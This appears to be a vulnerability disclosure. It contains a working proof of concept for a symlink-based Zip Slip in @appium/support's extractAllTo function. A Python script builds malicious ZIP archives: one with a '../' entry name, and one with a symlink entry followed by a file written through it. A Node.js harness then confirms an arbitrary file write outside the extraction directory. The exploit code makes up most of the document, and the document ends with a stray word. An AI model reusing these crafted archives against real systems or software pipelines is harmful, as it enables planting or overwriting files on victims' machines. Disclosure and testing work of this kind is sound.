Appium: Symlink based Zip Slip in @appium/support ZIP extraction

// @appium/support build/lib/zip.js (extractAllTo path), version 7.2.5
97   if (!isSubPath(dest, dir)) {                 // lexical only, never resolves symlinks
98       throw new Error(`Out of bound path "${dest}" found while processing file ${fileName}`);
99   }
...
142  await fs.symlink(link, dest);                // link target comes verbatim from the archive

#!/usr/bin/env python3

import os, sys, zipfile, shutil

work = sys.argv[1] if len(sys.argv) > 1 else "/tmp/zswork"
pid = os.getpid()
shutil.rmtree(work, ignore_errors=True)
os.makedirs(work)

# Test A: CVE-2026-30973 plain "../" path traversal in the entry name
extractA = os.path.join(work, "extractA"); os.makedirs(extractA)
escapeA_name = f"escapeA_{pid}.txt"            # would land in work/ (outside extractA)
escapeA = os.path.join(work, escapeA_name)
zipA = os.path.join(work, "cve_vector.zip")
with zipfile.ZipFile(zipA, "w") as z:
    z.writestr("../" + escapeA_name, "CVE-2026-30973 plain traversal\n")

# Test B: symlink entry whose target escapes, then a file through it 
extractB = os.path.join(work, "extractB"); os.makedirs(extractB)
escapeB = os.path.join(work, f"escapeB_{pid}"); os.makedirs(escapeB)
zipB = os.path.join(work, "symlink_bypass.zip")
with zipfile.ZipFile(zipB, "w") as z:
    sl = zipfile.ZipInfo("pwn")
    sl.create_system = 3                       # unix, so external_attr carries the mode
    sl.external_attr = (0o120777 & 0xFFFF) << 16   # S_IFLNK | 0777
    z.writestr(sl, escapeB)                     # symlink target is the file body
    fi = zipfile.ZipInfo("pwn/owned.txt")
    fi.create_system = 3
    fi.external_attr = (0o100644 & 0xFFFF) << 16
    z.writestr(fi, "PWNED via symlink Zip Slip\n")

print("\t".join([work, extractA, escapeA, zipA, extractB, escapeB, zipB]))

'use strict';
const fs = require('fs');
const path = require('path');
const support = require('@appium/support');

const [, , work, extractA, escapeA, zipA, extractB, escapeB, zipB] = process.argv;

(async () => {
  const ver = require('@appium/support/package.json').version;
  console.log(`[*] @appium/support version: ${ver}`);
  console.log(`[*] CVE-2026-30973 was fixed in 7.0.6, so on this newer version the plain ../ vector should be blocked.`);

  // Test A: the CVE-2026-30973 vector
  console.log('\n=== Test A: CVE-2026-30973 plain "../" entry name ===');
  let aBlocked = false;
  try {
    await support.zip.extractAllTo(zipA, extractA);
  } catch (e) {
    aBlocked = true;
    console.log(`[+] REJECTED by extractor: ${String(e.message).split('\n')[0]}`);
  }
  const aEscaped = fs.existsSync(escapeA);
  console.log(`[=] ${aBlocked && !aEscaped ? 'BLOCKED, so CVE-2026-30973 is PATCHED in this version' : 'ESCAPED (not patched)'}`);

  // Test B: this finding, the symlink bypass 
  console.log('\n=== Test B: symlink entry + file written through it (this finding) ===');
  try {
    await support.zip.extractAllTo(zipB, extractB);
  } catch (e) {
    console.log(`[i] extractor message: ${String(e.message).split('\n')[0]}`);
  }
  const planted = path.join(escapeB, 'owned.txt');
  const bEscaped = fs.existsSync(planted);
  if (bEscaped) {
    console.log('[+] ARBITRARY FILE WRITE OUTSIDE THE EXTRACT ROOT VIA SYMLINK CONFIRMED');
    console.log(`    wrote  : ${planted}`);
    console.log(`    content: ${JSON.stringify(fs.readFileSync(planted, 'utf8'))}`);
  } else {
    console.log('[-] symlink vector did not escape');
  }

  console.log('\n=== SUMMARY (same installed version) ===');
  console.log(`A  CVE-2026-30973 plain ../ : ${aBlocked && !aEscaped ? 'BLOCKED (fix present)' : 'ESCAPED'}`);
  console.log(`B  symlink bypass (this bug): ${bEscaped ? 'ESCAPED (still vulnerable)' : 'blocked'}`);
  process.exit(aBlocked && !aEscaped && bEscaped ? 0 : 2);
})().catch((e) => {
  console.error('ERROR', e);
  process.exit(3);
});
use